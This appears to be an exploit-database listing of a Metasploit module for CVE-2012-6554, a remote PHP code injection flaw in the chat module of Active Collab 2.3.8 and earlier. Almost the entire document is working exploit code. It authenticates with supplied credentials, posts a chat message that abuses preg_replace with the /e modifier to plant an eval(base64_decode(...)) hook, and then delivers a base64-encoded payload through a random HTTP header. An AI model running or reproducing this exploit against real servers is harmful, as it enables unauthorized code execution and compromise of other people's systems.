Active Collab 'chat module' < 2.3.8 - Remote PHP Code Injection (Metasploit)

Related Vulnerabilities: CVE-2012-6554  
Publish Date: 19 May 2012
Author: Metasploit
                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           =&gt; 'Active Collab "chat module" &lt;= 2.3.8 Remote PHP Code Injection Exploit',
			'Description'    =&gt; %q{
				This module exploits an arbitrary code injection vulnerability in the chat module 
				that is part of Active Collab by abusing a preg_replace() using the /e modifier and
				its replacement string using double quotes. The vulnerable function can be found in 
				activecollab/application/modules/chat/functions/html_to_text.php.
			},
			'License'        =&gt; MSF_LICENSE,
			'Author'         =&gt;
				[
					'mr_me &lt;steventhomasseeley[at]gmail.com&gt;',  # vuln discovery &amp; msf module
				],
			'References'     =&gt;
				[
					['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
				],
			'Privileged'     =&gt; false,
			'Payload'        =&gt;
				{
					'Keys'        =&gt; ['php'],
					'Space'       =&gt; 4000,
					'DisableNops' =&gt; true,
				},
			'Platform'       =&gt; ['php'],
			'Arch'           =&gt; ARCH_PHP,
			'Targets'        =&gt; [['Automatic',{}]],
			'DisclosureDate' =&gt; 'May 30 2012',
			'DefaultTarget'  =&gt; 0))

		register_options(
			[
				OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
				OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
				OptString.new('PASS',[true, "The password to authenticate with"])
			],self.class)
	end

	def check

		login_path = "public/index.php?path_info=login&amp;re_route=homepage"
		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"

		cms = send_request_raw({'uri' =&gt; uri}, 25)

		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'

		chat = send_request_raw({'uri' =&gt; uri}, 25)

		# cant detect the version here
		if (cms and cms.body =~ /powered by activeCollab/)
			# detect the chat module
			if (chat and chat.code == 200)
				return Exploit::CheckCode::Vulnerable
			end
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		user = datastore['USER']
		pass = datastore['PASS']
		p = Rex::Text.encode_base64(payload.encoded)
		header = rand_text_alpha_upper(3)
		login_uri = datastore['URI']
		login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'

		# login
		res = send_request_cgi({
			'method'    =&gt; 'POST',
			'uri'       =&gt; login_uri,
			'vars_post' =&gt;
				{
					'login[email]'      =&gt; user,
					'login[password]'   =&gt; pass,
					'submitted'         =&gt; "submitted",
				}
			}, 40)

		# response handling
		if res.code == 302
			if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
				acsession = $1
			end
		elsif res.body =~ /Failed to log you in/
			print_error("Could not login to the target application, check your credentials")
		elsif res.code != 200 or res.code != 302
			print_error("Server returned a failed status code: (#{res.code})")
		end

		# injection
		iuri = datastore['URI']
		iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
		iuri &lt;&lt; "?path_info=chat/add_message&amp;async=1" 
		phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
		injection = "&lt;th&gt;\");#{phpkode}&lt;/th&gt;"
		cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
		res = send_request_cgi({
			'method'  =&gt; 'POST',
			'uri'     =&gt; iuri,
			'headers' =&gt;
				{
					'cookie'  =&gt; cookies
				},
			'vars_post' =&gt;
				{
					'submitted'                  =&gt; "submitted",
					'message[message_text]'      =&gt; injection,
					'message[chat_id]'           =&gt; "1",
					'message[posted_to_user_id]' =&gt; "all"
				}
		}, 25)

		euri = datastore['URI']
		euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
		euri &lt;&lt; "?path_info=/chat/history/1" 

		# execution
		res = send_request_cgi({
			'method'  =&gt; 'POST',
			'uri'     =&gt; euri,
			'headers' =&gt;
				{
					header    =&gt; p,
					'cookie'  =&gt; cookies
				}
		})
	end
end